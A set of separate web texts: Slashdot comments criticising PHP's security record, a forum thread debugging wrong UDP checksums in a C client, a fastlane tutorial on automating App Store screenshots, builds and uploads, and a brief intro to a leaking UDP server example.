$modulebase = "/usr/local/lib/mypackage/2.3.11/modules";
In the rest of the code:
include ($modulebase . "/file_you_need.inc");
Then, you can upgrade versions of the modules by installing a new version in a new directory, and switching the
Blatant Self-Promotion (Score:2)
Yep. Everything he writes on this topic is along the lines of:
-They all suck.
-I'm the greatest.
-They're all out to get me.
-The fools, the laughed at me at the institute.
-You aren't taking me seriously! I've fixed everything in my personal extension to PHP and you keep breaking it by changing the language!
etc... etc...
I don't know what he thinks he's going to accompli
Re: (Score:2)
Of course it's self-promotion. Why does the guy stick his picture on the front of the article?
Attention geek bloggers: You are not attractive. Stop [networkper...edaily.com] posting [securityfocus.com] pictures [zdnet.com] of your dorky [zdnet.com] looking [businessweek.com] selves [pcmag.com] at the top of your blog.
It doesn't make you look like a real journalist, it just makes you look like a tool.
(Note: in case you're wondering how I got so many pictures to prove my point, I simply looked up the fud tag [slashdot.org] on Slashdot and started clicking away
:)
Re: (Score:2)
Some searching, however, came up with these.
Top 10 Blogger Babes [gizmodo.com]
Gamer chick (don't know if she's actually a blogger) Morgan Webb [google.com]
i suggest for next month (Score:3, Funny)
Two words: (Score:2)
Partially surprising (Score:5, Insightful)
I really shouldn't be surprised at the PHP team's approach to security any more, but it really does still surprise me from time to time. It's amazing, but the PHP team are worse than Microsoft ever were with security. And they don't even learn from this - they've had this attitude for as long as I can remember (PHP 3 days), and they just aren't getting it. Or rather, if they get it, they just don't care.
PHP is a disgrace to the open source community. (Score:5, Interesting)
This is very true. And also very unfortunate. When it comes to many managers, PHP has given the entire open source community a bad name. This is mainly because it has been repeatedly pushed as being part of the LAMP suite, when in fact Python and Perl are far better options for the 'P'. So when you recommend the use of Linux, Apache or MySQL, they automatically think of PHP, and recall how terrible its security is. And then they associate that lack of security with Linux, Apache and MySQL, even when that's not the case!
If there's one thing the open source community as a whole should do, it should be to disown PHP. Responsible open source developers and projects need to just stop using it for their web sites. It'd be good if more things like this Month of PHP Bugs were held, just to show the public that the OSS community knows that PHP is terrible, and wants to do something about it. The longer we continue to use PHP, the harder it will be to repair the reputation of even completely unrelated (and far more secure) open source projects.
Re:PHP is a disgrace to the open source community. (Score:4, Insightful)
One of the problems with PHP is the fact that when the bar of entry is so low, you get a lot more low bar people actually coding it. It's become the next generation of VB garbage. The language is only half of the security problem (a half we could better do without, but still).
Re: (Score:3, Interesting)
I'm not surprised. Their attitude to bug reports in general is pretty hostile. See, for instance, this [php.net]
For once (Score:5, Insightful)
Re: (Score:3, Insightful)
Most flaws in any code are caused by poor programmers. It's possible to write clearly structured, well laid out code in BASIC (no, not visual BASIC, the real thing), as most implementations support things like local variables and procedures. It's just exceptionally rare.
This is why so many computer science degrees (at least until recently in the UK) used Modula-2 or Pascal as their primary teachi
Re: (Score:2)
The Modula family of languages, OTOH, are way cool.
Re: (Score:3, Insightful)
Personally I have always thought PHP to be a steaming pile of poorly thought out garbage but there is no denying its popularity despite its flaws.
A critical thinker will look at those two clauses and derive some wisdom. PHP is not "poorly thought out", it changes to meet the market's needs. Java was very well thought out, but it's mostly popular with big shops where you can hire a guy for $70,000/year to maintain a tiny little bit of a larger program. PHP is very popular because it allows a single person
Re: (Score:2)
So does ASP. In fact, ASP is easier in a lot of ways, and has MORE flexibility (supports any ISAPI language, including vbscript (yuck), perl (whee), php (hello month of bugs!), python, blah blah blah.
PHP is popular because it's free and Free and lets one person write a very simple/stupid dynamic webpage very easily. Unfortunately, it seems that when you get
Install modsecurity (Score:5, Informative)
Whilst it probably won't solve a lot of the problems with php and security it does help protect the server especially when you don't have control over what your users are uploading to their web space.
Are bugs the problem? (Score:5, Interesting)
Re: (Score:2)
Personally while I don't necessarily like all the work I have to do when there is a "bug exposure" in the media for tools I am using -- like PHP -- I don't have time to track everything let alone fix them, this "month of bugs" won't affect me as m
Re: (Score:3, Insightful)
Or even more likely, how easy it is to download and run insecure code written by some other lousy programmer. It's not the people who are writing their own CMS systems that are getting haxor'd, it's the people who grabbed a copy of PHPNuke and threw it up there on the 'net.
Wait... (Score:5, Funny)
Only a month?
Ha ha, yes, thank you, I'll be here all week, bringing predictable yet mildly amusing banter. In fact, I'll be here all year. The whole of my life, probably. *breaks down and cries*
PHP needs to be fixed in general (Score:3, Informative)
Re: (Score:3, Insightful)
Err... he has [hardened-php.org].
Sometimes I think people don't read the articles.
Then I remember I'm reading slashdot.
Coming in April (Score:5, Funny)
At least the Month of Apple Bugs was a hard target to go after.
A Couple Easy Precautions (Score:3, Informative)
Here are a few simple precautions for PHP configuration:
This is going to be fun (Score:2)
Slashdot, give it a rest! (Score:2)
So let's apply this concept to learning in the PHP community. For years, PHP developers (newbies, amateurs, and experts alike) have been handed down wisdom that reflected the current knowledge. Years ago, it was using regist
Re: (Score:2)
When was the last time you installed PHP and it "exploded" on you? As I said, give it a rest.
Yes, this _is_ unethical (Score:3, Interesting)
Maybe. But to take more than 31 bugs and disclose them a day at a time so that in effect major web-facing infrastructure for big business and home users alike will have no chance at all of being secured during this entire window, all for the purposes of publicity?
Re: (Score:2, Informative)
There are a handful [cakephp.org] of decent [xisc.com] PHP frameworks [symfony-project.com] out there, with others coming along [zend.com], which you can take and compare with Django, but
Re: (Score:2)
I have programmed in PHP and C#/VB.NET for web forms (back when
Re: (Score:2)
It's a backwards compatibility hack. When they implement mysql_escape_string, the MySQL C API didn't need a connection object to the server to perform quoting, it just did it locally. Some advanced features were added in later MySQL versions, and a connection to the server is now needed in order to know what character
Re: (Score:2)
One of the things I dislike about PHP and I liked about the WebForms
As somebody who has written a 3-tier web application in PHP for a well-known multinational company, I can assure you that tier separation is not only possible in
Re: (Score:2)
Write a front end program that takes the user's request parameters and parses them, selects
Re: (Score:2)
One way of looking at PHP is that it is an extremely powerful templating language. That's the job it was designed to do in the first place, anyway. So why not write your back end in a more powerful language and just do a quick front end templating job in PHP that takes those results and slaps them into a web page.
Oh, right, the reason not to
Re: (Score:2)
(lack of quotation marks deliberate)
and
(addition of quotation marks also deliberate)
Re: (Score:2)
Re: (Score:2, Informative)
It is increment twice because after the first loop, $b is still a pointer to the fourth element of $a. Continuing in the code, the second loop will assign the fourth value of $a each value of $a, then increment it. Try debugging it like so:
Re: (Score:2)
Suns normally explode. Only IBM Netfinities implode.
Oh, right. You meant... never mind.
Re: (Score:2)
I'm not a programmer and never will be, so "Code your own!" doesn't work for me. If PHP is really so insecure then what are realistic alternatives?
Right now, they're very few and very far between. You could look through sourceforge projects in the Internet/WWW category with the filter 'excluding programming language PHP' applied.
The problem is that so much stuff was implemented in PHP in the late 90s/early 2000's that just about every hosting service went out and installed it. This led to a positive feedb
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You are not logged in.
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Hi all,
I am using two sockets on the same eth0 interface. I use one raw socket for sniffing and another normal socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) for sending udp packets to a server.
Everything seems to work, but when I sniff the packets I send by using ethereal, it shows that all the packets have an incorrect UDP checksum value; furthermore the wrong value is one of two values for all the packets (0x24af and 0x24ae) and it does not change.
Now I know that for raw sockets I have to take care of the headers, but I was under the impression that for normal sockets the kernel would take care of it.
Please also note that other UDP packets have the correct checksum, only the UDP packets that my client sends have the wrong checksum.
Anyone has any idea?
Thank you,
ajpug
You're sure these are packets being sent through your normal UDP (AF_INET,
SOCK_DGRAM) socket?? If so, that's very odd, and I can't understand what would
be causing it... It doesn't make any sense to me... It sounds like they must really
be coming from your raw socket, instead... Maybe some bug is trashing your FDs
or something, so you end up sending the data out the wrong socket? *shrug* It's
impossible to even really guess without seeing the code... I'd start by completely
disabling the raw socket, just for testing purposes at least, simply to remove it from
the equation, and then see if the same thing happens...
After testing and cutting the code to the bone I still get the invalid UDP checksum.
Here is the code I am testing after cutting it down heavily (still getting the same error though):
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <linux/sockios.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> int main () { char Interface[10], *write_buf; int w_sock, bytes_wrttn, msg_len, tolen; struct sockaddr_in to; strcpy (Interface, "eth0"); if ((w_sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror ("Failed creating dgram socket (mode 1).\n"); exit(0); } write_buf = (char *) malloc(65536*sizeof(char)); while (1) { sprintf(write_buf, "%s%s%s%c", "DHCP_RAI", "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ", "XXX.XX.XX.XXX", '\0'); msg_len = 44; printf("write_buf: %s [len: %d]\n", write_buf, msg_len); to.sin_family = AF_INET; to.sin_port = htons(10000); to.sin_addr.s_addr = inet_addr("128.X.X.X"); tolen = sizeof(to); printf("to.sin_addr: %s\n", inet_ntoa(to.sin_addr)); printf("to.sin_port: %d\n", ntohs(to.sin_port)); bytes_wrttn = sendto (w_sock, write_buf, msg_len, 0, (struct sockaddr *) &to, tolen); if (bytes_wrttn < 0){ perror("ERROR sendto:"); } printf("Total bytes sent: %d\n", bytes_wrttn); } }
I hope you guys can find where the error is.
Thanks a LOT,
ajpug
That code works just fine here... I changed the IP you're sending to to a random
bogus non-routable IP (10.1.1.1), and let it run for a bit, and I didn't see any
checksum errors in Ethereal here... They were all correct...
Does every single packet you send have an incorrect checksum, or only some of
them? You said before that other UDP packets had correct checksums, but are
they packets generated locally or remotely? I mean, if you run any other UDP
client/server on your same machine, are the packets that it sends out ok or not?
I just think it must be a local system issue of some sort, because I don't see any
real problem with that code, and it works just fine here (RH9/Linux 2.4.20+patches)...
The only real bug I see is your failure to check the return value from malloc(), so
maybe if that failed for some reason, you end up trashing memory somehow, or
something? But, it seems a bit far-fetched to me... I'd sooner expect a simple
seg-fault, really... Plus, you really shouldn't fail to malloc() 64K, either... ;-) But, I
just don't see any other real problem... So, I don't believe it's your code... Try
other UDP clients/servers locally, and see if their packets have the same problem...
If so, I'm still not sure what the problem is, but it sounds like something with the
local system itself, not your app code...
mmm...I am not sure what is happening. I am starting to think that it might be a problem related to the kernel I am using (2.6.3-25). I am also getting "bad udp checksum" message from the kernel, however these packets are received on the other side!
I have also added the check to the malloc. ;)
mmm...I am clueless.
ajpug
I have a similar problem with kernel 2.6.8-24.14-default. UDP packets are created by a JAVA application and sent to the local loopback. The UDP checksum is not zero, therefore checksumming is turned on, but the checksum seems only to be done over the header and not the data (same checksum result, if same header but different data part). Both tcpdump and ethereal report the checksum as wrong.
In my case, I will programme a workaround specific to my application, since I want to have the programme running on
different computers/versions.
Best Regards
Harald
In case anyone else comes across this 10+ year old thread: I observed the exact same behavior as ajpug, and came here. Turned out that packets sniffed using Wireshark on the application's end (where they were generated) were reported with bad checksums, but those same packets sniffed on the receiving end were reported to have the correct checksums. Perhaps they were updated by the kernel after Wireshark picked them up, but that is just a guess--bottom line, check what you're getting on the receiving side.
It's probably checksum offloading to the NIC card: The kernel always fills in zeroes (for TX) and the network card calculates the actual checksum. For receive it might be network card/driver dependent what data is left in the checksum field.
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fastlane Tutorial: Getting Started
In this fastlane tutorial, you’ll learn how to provision, screenshot, build and upload an app to the App Store using fastlane.
Version
- Other, macOS 10.14, Other
It’s that wonderful moment: You’ve poured days, weeks or maybe even months into building an app, and it’s finally ready to share with the world. All you have to do is submit it to the App Store. How hard could that be, right?
Cue mountains of grunt work: capturing tons of screenshots, adding your app to the Apple Developer and App Store Connect sites, uploading your binary and metadata and other mindless work! Argh!
Isn’t there a better way? If only you could run a single command that took all your screenshots on all your supported devices, in every supported language automagically. If only there were a single command to upload those screenshots, add your app to Apple’s developer sites and submit it all. Think of all the time you’d save!
Well, you’re in luck. :] Thanks to creator Felix Krause and lead maintainer Josh Holtz, there’s a tool to do all this and more! It’s called fastlane! In this tutorial, you’ll learn how to use fastlane to deploy an app to the App Store. It’s sure to become your new best friend. Even Google’s buddied up with fastlane by acquiring it in 2017.
Getting Started
First, download the materials for this tutorial at the top or bottom of this page using the Download Materials button, then save them to a convenient location.
This tutorial’s sample app, mZone Poker, is a poker calculator for No Limit Texas Hold ‘Em tournaments. It displays a recommended action based on your chip count and the current big blind level.
Open the mZone project in Xcode to build, run and check it out.
Setting Up fastlane
The tool fastlane is a collection of Ruby scripts, so you must have the correct version of Ruby installed. Chances are that your OS comes with Ruby 2.0 by default, but you can confirm whether this is the case by opening Terminal and entering:
ruby -v
If it’s not installed, the easiest way to do so is via Homebrew a package manager for macOS.
Install Homebrew by entering this Terminal command:
/usr/bin/ruby -e \ "$(curl -fsSL)"
Then, install Ruby using:
brew update && brew install ruby
Run
brew link --overwrite ruby and/or open a new Terminal session if Homebrew instructs you to do so.
You’ll also need Xcode Command Line Tools (CLT). To ensure that they’re installed, enter into Terminal:
xcode-select --install
If Xcode CLT are already installed, you will get this error:
xcode-select: error: command line tools are already installed, use "Software Update" to install updates. If not, continue the installation when prompted.
Now you’re ready to install fastlane! Enter the following command to do so:
sudo gem install -n /usr/local/bin fastlane --verbose
If you prefer to use Homebrew enter the following command:
brew cask install fastlane
/usr/local/binis still writable, which is why you’re installing fastlane there.
After entering your system password, you will see a bunch of activity in Terminal indicating that the installation is in progress. This could take a few minutes, so grab some coffee, walk your dog or brush up on your zombie-fighting tactics. :]
Once installation completes, you’re ready to set up fastlane in your project. But before you do, here’s a high-level look at the fastlane tools.
The fastlane Toolchain
To work its magic, fastlane brings the following set of tools all under one roof:
- produce creates new iOS apps in both App Store App Store Connect APIs.
- pilot automates TestFlight deployments and manages beta testers.
- boarding invites beta testers.
- match syncs certificates and provisioning profiles across your team, using Git.
- scan runs tests on your apps.
You’ll use several of these tools today. Enough with the theory for now — it’s time to put this tutorial into gear and enter the fast lane!
Adding fastlane to Your Project
Open Terminal and
cd into your mZone starter project. For example, if you’ve added the mZone_Sample_Project folder to your desktop, you can enter:
cd ~/Desktop/mZone_Sample_Project/mZone
To set the mZone starter project as the working directory.
Next, enter:
fastlane init
To initialize fastlane.
sudo..
After some output, fastlane will ask: “What would you like to use fastlane for?”
Although fastlane “recommend[s] automating one task first,” you’ll implement multiple automated actions during this single tutorial, so input 4 to commence manual setup. Read the output and press Enter when prompted.
Back in the mZone folder, you’ll see a few new things: Gemfile, which includes the fastlane gem as a project dependency and a fastlane folder containing:
- Appfile: stores the app identifier, your Apple ID and any other identifying information that fastlane needs to set up your app.
- Fastfile: manages the lanes you’ll create to invoke fastlane actions.
Open Fastfile in a text editor of your choice, disable smart quotes if your text editor supports them, then replace the contents of the file with:
default_platform(:ios) platform :ios do # 1 desc "Create app on Apple Developer and App Store Connect sites" # 2 lane :create_app do # 3 produce end end
If you’ve never seen Ruby before, this may look like gibberish to you. Here’s what this code does:
- Provides a description for the lane. (A lane is a workflow of sequential tasks).
- Names this lane
create_app.
- Uses produce to add the app to both the Developer Portal and App Store Connect.
Woohoo! You have now created your very first lane.
Save Fastfile, then open Appfile. Remove the pound (#) sign to uncomment the line starting with apple_id, then replace [[APPLE_ID]] with your actual Apple ID username. By setting this information now, fastlane won’t have to repeatedly prompt you for it later on.
apple_dev_portal_id("[[APPLE_DEVELOPER_ACCOUNT_USERNAME]]") itunes_connect_id("[[APP_STORE_CONNECT_ACCOUNT_USERNAME]]")
Then replace each username placeholder with its respective username.
Save Appfile before closing.
Creating Your App
Open Terminal inside your project folder and enter:
fastlane create_app
This runs the
create_app lane you just created.
You should see something like this:
At the top of that output, fastlane suggests that you precede your fastlane command with “bundle exec” in order to launch fastlane faster in the context of the gem bundle. Going forward, you can do so.
Enter your App Store Connect password if prompted. If your Developer Portal has multiple teams, enter the number corresponding to the team you’d like to use for your mZone Poker app.
Eventually, produce will ask you to enter your bundle ID. Time to create one!
The bundle identifier must be different from every other bundle identifier anyone’s ever used in App Store Connect. Try to enter a unique bundle identifier by using the following format:
com.mZone-Poker.[Insert your email address minus “@” and “.”]
If the bundle identifier’s already taken, edit it and try again until you’ve submitted a unique ID.
Then, when you’re prompted to submit an app name, it too will have to be unique. Try using the following format:
mZone Poker [Insert your email address minus “@” and “.”]
App names can’t be longer than 30 characters, though, so truncate as necessary.
If your App Store Connect account has multiple teams, enter the number corresponding to the team you’d like to use.
If you receive any errors stating that there’s a problem with your Apple Developer account (for example, if you need to accept a new program agreement), correct the issue then run
produce again.
If the app name is unavailable, the process will end with an error. Run
produce again, re-enter your Apple ID and the same Bundle ID you just created, then either flex your creative muscles to create a unique ID or return to the top of this paragraph and repeat. Frustrating we know, but we’re confident you’ll break the infinite loop!
Log in to Apple Developer Center and App Store Connect. Voilà! Your app has already been added to both. How cool is that? :]
Reopen Appfile, uncomment the line starting with app_identifier, then replace [[APP_IDENTIFIER]] with the bundle ID you just created.
If you had to choose a team earlier, add the team’s name so you won’t have to enter it again when running your lanes. To specify your Developer Portal/App Store Connect team name, add:
team_name ("[[TEAM_NAME]]")
Replace [[TEAM_NAME]] with your team’s name.
Generating the Deliverfile
Back in Terminal, enter:
bundle exec fastlane deliver
When fastlane asks; “Do you want to setup deliver?” Enter y in response.
Next fastlane will ask, “Would you like to use Swift instead of Ruby?” Although, as an iOS developer, you’re probably more comfortable working in Swift, as of the writing of this tutorial, fastlane.swift is still in beta. So enter n to use Ruby in your fastlane files.
Once deliver successfully completes, navigate back to mZone/fastlane in your Finder and you’ll see some new things:
- The metadata directory, which will hold the majority of the app’s metadata.
- Deliverfile, which will hold a few remaining pieces of metadata.
- The screenshots directory, which will contain the app screenshots.
In the metadata directory, you’ll notice a bunch of text files named after common App Store items like the description, keywords, categories, etc. fastlane will use these files to submit your app’s metadata information to App Store Connect.
Open en-US/description.txt and add:
mZone is a simple poker calculator for No Limit Texas Hold 'Em tournaments that displays a recommended course of action based on your chip count and the current big blind level.
To keywords.txt add:
Poker, Cards, Gambling
Confirm that name.txt already contains the name of your app, then add to both privacy_url.txt and support_url.txt.
While this app supports both French and English, only the en-US folder exists. To fix this, make a copy of the en-US folder in its same directory and call it fr-FR. In the interest of keeping this fastlane tutorial short, you won’t have to translate the metadata into French… this time. ;] app_store_rating_config.json containing:
{ rating configuration indicates that the app has “frequent/intense” simulated gambling (i.e., value = 2) and none of the other listed content. This file gives Apple the information it needs to assign an appropriate age rating.
And, lastly, in the review_information folder, add your email address to email_address.txt, your first name to first_name.txt, your last name to last_name.txt and your phone number to phone_number.txt. Preface the phone number with ‘+’ followed by the country code, for example; +44 844 209 0611.
Congratulations! You’ve added all the metadata required for submission.
Automating Screenshots
Taking screenshots can be tedious. The more devices and languages your app supports, the more hours you’ll burn. Painful!
mZone Poker supports two languages and two iPhone screen aspect ratios. If you had to take five screenshots per device for each language and screen aspect ratio, that would be 20 screenshots! With fastlane, however, you can do all this by running a single command.
Set up the project for snapshot by entering in Terminal:
fastlane snapshot init
A Snapfile file will now appear in your fastlane folder. Open it and replace the contents of the file with:
# 1 - A list of devices you want to take the screenshots from devices([ "iPhone 8 Plus", "iPhone SE" ]) # 2 - A list of supported languages languages([ 'en-US', 'fr-FR' ]) # 3 - The name of the scheme which contains the UI Tests scheme("mZone Poker UITests") # 4 - Where should the resulting screenshots be stored? output_directory "./fastlane/screenshots" # 5 - Clears previous screenshots clear_previous_screenshots(true)
Here, you specify:
- The devices from which you want fastlane to capture your screenshots.
- The localized languages you want to capture.
- The name of the Xcode scheme you’ll soon create to run screenshot automation.
- The screenshot output directory.
- That fastlane should clear any screenshots in the output directory before capturing new ones.
Save the file before closing.
Return to Terminal and note the instructions that appeared after running
fastlane snapshot init:
That’s what you’ll do next.
Creating a Test Target
Open mZone Poker.xcodeproj in Xcode then navigate to File ▸ New ▸ Target. Within the iOS tab’s Test section, select iOS UI Testing Bundle then click Next.
In the Product Name field, enter mZone Poker UITests then click Finish.
An mZone Poker UITests folder should now appear in Xcode’s left-hand navigator menu.
Go to the target’s General page. Below the mZone Poker target, you’ll now see mZone Poker UITests. Select mZone Poker UITests and if you see an error stating that Signing for “mZone Poker UITests” requires a development team, select a team.
Return to the fastlane directory then drag SnapshotHelper.swift below the mZone Poker UITests folder in Xcode’s project navigator. When the Choose options for adding these files window appears, select:
- Copy items if needed.
- Create groups.
- mZone Poker UITests.
Deselect the mZone Poker target before clicking Finish.
Next, open mZone_Poker_UITests.swift in mZone Poker UITests. Remove both
setUp() and
tearDown(), then replace the contents of
testExample() with:
//")
Here’s what this code does:
- Sets up the test to take snapshots and launches the app.
- Taps the Chip Count text field (the accessibility identifier of which was pre-set to “chip count” in the Storyboard) and enters 10 into that field.
- Taps the Big Blind text field and enters 100.
- Takes a snapshot to show how the app looks with user entries.
- Taps the What Should I Do? button then takes another screenshot to capture the resulting alert.
Next, to create the mZone Poker UITests scheme, click the button immediately to the right of the run and stop buttons and select Manage Schemes…. Select Show next to mZone Poker UITests and Shared next to both targets to grant fastlane access. Then, click the mZone Poker UITests row and Edit….
Click Build in the scheme editor’s left-hand menu. Then, next to the mZone Poker UITests target, select the Test and Run options before clicking Close to save your changes.
Leave Xcode, open Fastfile and, below the
create_app lane, add:
desc "Take screenshots" lane :screenshot do snapshot end
This
screenshot lane uses snapshot to take screenshots as per Snapfile’s settings.
Save Fastfile, return to Terminal and enter:
bundle exec fastlane screenshot
Now, watch… the screenshots are captured without you having to do anything else! Bask in the joy of skipping grunt work. :]
An HTML preview of the screenshots should automatically open once snapshot completes.
If you see warnings about ambiguous simulator names, you may need to either delete duplicate simulators or change simulator names to match those in the Snapfile.
All your device screenshots in both English and French with just one command — it doesn’t get better than that!
Creating the IPA File
Building and uploading the app can also be a time-consuming process. But guess what — fastlane can do this with its gym tool!
In Terminal, run:
fastlane gym init
To create Gymfile.
Open Gymfile and replace its contents with:
# 1 scheme("mZone Poker") # 2 output_directory("./fastlane/builds") # 3 include_bitcode(false) # 4 include_symbols(false) #5 export_xcargs("-allowProvisioningUpdates")
This code does the following:
- Specifies mZone Poker’s scheme.
- Specifies where fastlane should store the .ipa app binary file.
- Excludes bitcode from the build. Bitcode allows Apple to optimize your app, but exclude it for now to speed up the build.
- Excludes symbols from the build. Including symbols allows Apple to access the app’s debug information, but exclude it for now to speed up the build.
- Allows Xcode to use automatic provisioning.
Open Fastfile and add the following below the screenshot lane:
desc "Create ipa" lane :build do # 1 enable_automatic_code_signing # 2 increment_build_number # 3 gym end
This build lane:
- Enables automatic provisioning in Xcode.
- Increases the build number by 1 (so each build number is unique per App Store Connect’s upload requirement).
- Creates a signed .ipa file.
Save Fastfile, then run build in Terminal:
bundle exec fastlane build
If you’re prompted to enter your keychain password in order for fastlane to access your certificates, do so. Select Allow Always if you don’t want to repeatedly grant the same permission. Once build successfully completes, the signed .ipa should appear in fastlane/builds.
Uploading to App Store Connect
To upload the screenshots, metadata and .ipa file to App Store Connect, you’ll use deliver.
First, replace Deliverfile‘s contents with:
# 1 price_tier(0) # 2 submission_information({ export_compliance_encryption_updated: false, export_compliance_uses_encryption: false, content_rights_contains_third_party_content: false, add_id_info_uses_idfa: false }) # 3 app_rating_config_path("./fastlane/metadata/app_store_rating_config.json") # 4 ipa("./fastlane/builds/mZone Poker.ipa”) # 5 submit_for_review(true) # 6 automatic_release(false)
Here you:
- Set price tier to 0, indicating it’s a free app.
- Answer the questions Apple would present to you upon manually submitting for review.
- Provide the app rating configuration location.
- Provide the .ipa file location.
- Set
submit_for_reviewto
trueto automatically submit the app for review.
- Set
automatic_releaseto
falseso you’ll have to release the app manually after it’s accepted by app review.
Open Fastfile. After the
build lane, add:
desc "Upload to App Store" lane :upload do deliver end
Then, for fastlane to create a preview of the metadata, open Terminal and enter:
bundle exec fastlane upload
If everything looks good, type y into Terminal to approve.
Once the lane completes, log in to App Store Connect. The screenshots, metadata and build should be there, waiting for review.
Putting It All Together
You now have separate lanes for creating your app, taking screenshots, building and uploading. While you could call them one-by-one, you don’t want to, right?
Oh, no — you want
Open Fastfile. After the
upload lane, add:
desc “Create app, take screenshots, build and upload to App Store" lane :do_everything do create_app screenshot build upload end
Fittingly,
do_everything takes care of everything. :]
Furthermore, to make the lane completely hands-free, open Deliverfile and, at the bottom, add:
force(true)
This causes fastlane to skip screenshot and metadata approval.
Now, to let fastlane do all the heavy lifting, run:
bundle exec fastlane do_everything
Supporting Multiple Targets
See that Multiple_Targets folder in mZone_Sample_Project? Open Multiple_Targets/mZone-2/mZone Poker.xcodeproj in Xcode..
Build and run mZone Poker Pro. It’s almost identical to mZone Poker, but returns more detailed suggestions.
On the General page, set mZone Poker’s bundle identifier to the one you created earlier.
Then, set a tentative new bundle ID for mZone Poker Pro; for example:
com.mZone-Poker-Pro.[Insert your email address minus “@” and “.”]
Now, return to Finder. Copy and paste Gemfile and the fastlane directory from mZone into mZone-2. Then, drag mZone-2/fastlane/SnapshotHelper.swift into the new project. When the Choose options for adding these files window appears, select:
- Copy items if needed.
- Create groups.
- mZone Poker UITests.
- mZone Poker Pro UITests.
Then, click Finish.
Setting Up Multiple Environments
Environment (.env) files hold configuration settings that an app may access variably during its execution. For this project, you’ll create two environments — one for each app target.
Open up your favorite text editor, disable smart quotes and enter:
SCHEME = "mZone Poker" TEST_SCHEME = "mZone Poker UITests" BUNDLE_IDENTIFIER = "[[YOUR UNIQUE BUNDLE IDENTIFIER]]" APP_NAME = "[[YOUR UNIQUE APP NAME]]"
This environment holds mZone Poker’s environment scheme, test scheme, bundle identifier and app name. Replace [[YOUR UNIQUE BUNDLE IDENTIFIER]] with mZone Poker’s bundle ID and [[YOUR UNIQUE APP NAME]] with the app’s unique name.
Save the file to mZone-2/fastlane as .env.mZone_Poker (with no file suffix). Since .env variables are hidden files by default, if you can’t see .env.mZone_Poker in Finder, press Shift-Command-. while in Finder to make your hidden files visible.
Similarly, create a second file containing:
SCHEME = "mZone Poker Pro" TEST_SCHEME = "mZone Poker Pro UITests" BUNDLE_IDENTIFIER = "[[YOUR UNIQUE BUNDLE IDENTIFIER]]" APP_NAME = "[[YOUR UNIQUE APP NAME]]"
Replace [[YOUR UNIQUE BUNDLE IDENTIFIER]] mZone Poker Pro’s current bundle ID. Then create a tentative unique app name, ex.:
mZone Poker Pro [Insert your email address minus “@” and “.”]
Remember, app names can’t be longer than 30 characters, so truncate as necessary.
Save the file as .env.mZone_Poker_Pro in the same directory.
Now, you’ll be able to use variables to access the current settings as you switch between schemes.
For starters, open Appfile, uncomment the app_identifier line and replace:
app_identifier("[[APP_IDENTIFIER]]")
With:
app_identifier(ENV['BUNDLE_IDENTIFIER'])
“ENV[‘BUNDLE_IDENTIFIER’]” tells fastlane to grab the bundle ID from whichever you set as the current environment.
In Deliverfile, replace the .ipa line with:
ipa("./fastlane/builds/#{ENV['APP_NAME']}.ipa")
In Gymfile, replace the scheme line with:
scheme(ENV['SCHEME'])
In Snapfile, replace the scheme and output_directory lines with:
scheme(ENV['TEST_SCHEME'])
And:
output_directory "./fastlane/screenshots/#{ENV['SCHEME']}"
Respectively.
Lastly, return to the new metadata directory. Select all of its contents and place them in a new folder named mZone Poker.
Then, duplicate that folder and name that duplicate mZone Poker Pro.
Change the contents of mZone Poker Pro/en-US/name.txt and mZone Poker Pro/fr-FR/name.txt to the new app’s name. Keep all the other metadata the same for now for simplicity’s sake.
Now, to run all the commands for the second target, you can enter:
bundle exec fastlane do_everything --env mZone_Poker_Pro
This will run
do_everything using .env.mZone_Poker_Pro’s variables.
But what if you want to run all the commands for all the targets at once?
Open Fastfile. Below
do_everything, add:
def execute_for_all_envs # 1 schemeList = Dir.glob(".env.*”) # 2 schemeList.each do |file| # 3 Dotenv.overload(file) # 4 yield end end
This method:
- Puts the current directory’s .env. files into an array.
- Loops through each .env file.
- Overloads
ENVwith the current .env file.
- Executes the block following
execute_for_all_envsinvocation.
Then, to call
execute_for_all_envs from
do_everything, replace the content of
do_everything with:
if ENV['SCHEME'] != nil create_app screenshot build upload else execute_for_all_envs{ do_everything } end
Now, if you don’t specify an environment in the command line, ENV[‘SCHEME’] == nil and thus
execute_for_all_envs runs.
execute_for_all_envs sets ENV to the first environment, returns to the calling block, which then re-runs
do_everything.
After
do_everything does everything for that environment, the loop in
execute_for_all_envs continues and returns the next environment, and so on.
That’s it!
Now you can run:
bundle exec fastlane do_everything
To have fastlane do all the heavy lifting for both targets while you sit back and relax.
Caution: It might feel weird having so much time on your hands compared to your pre-fastlane existence, but trust us, you’ll get used to it. :]
Where to Go From Here?
Check out mZone-Final and mZone-Final-2 using the Download Materials button at the top or bottom of the tutorial to see how the final projects stack up compared to yours.
fastlane also supports TestFlight submission and a ton of integrations. You can customize your lanes to provide real-time feedback on Slack, interact with Jira boards, etc. Visit the the official fastlane website to learn more.
Questions or comments? Feel free to join the forum discussion below!
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https://www.raywenderlich.com/233168-fastlane-tutorial-getting-started
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CC-MAIN-2020-16
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refinedweb
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It's a good thing Eclipse's history works even for a day back :) Thanks to that, I am able to give both Ravi a working example and Lirik his answer on leakage.
Let me first start of by stating that I have no clue what is causing this leak, but if I leave it long enough, it will fail on a OutOfMemoryError.
Second, I left the working code commented out for Ravi for a working basic example of my UDP server. The timeout was there to test how long my firewall would kill the receivers end (30 seconds). Just remove anything with the pool, and you're good to go.
So here is, a working but leaking version of my example threaded UDP server.
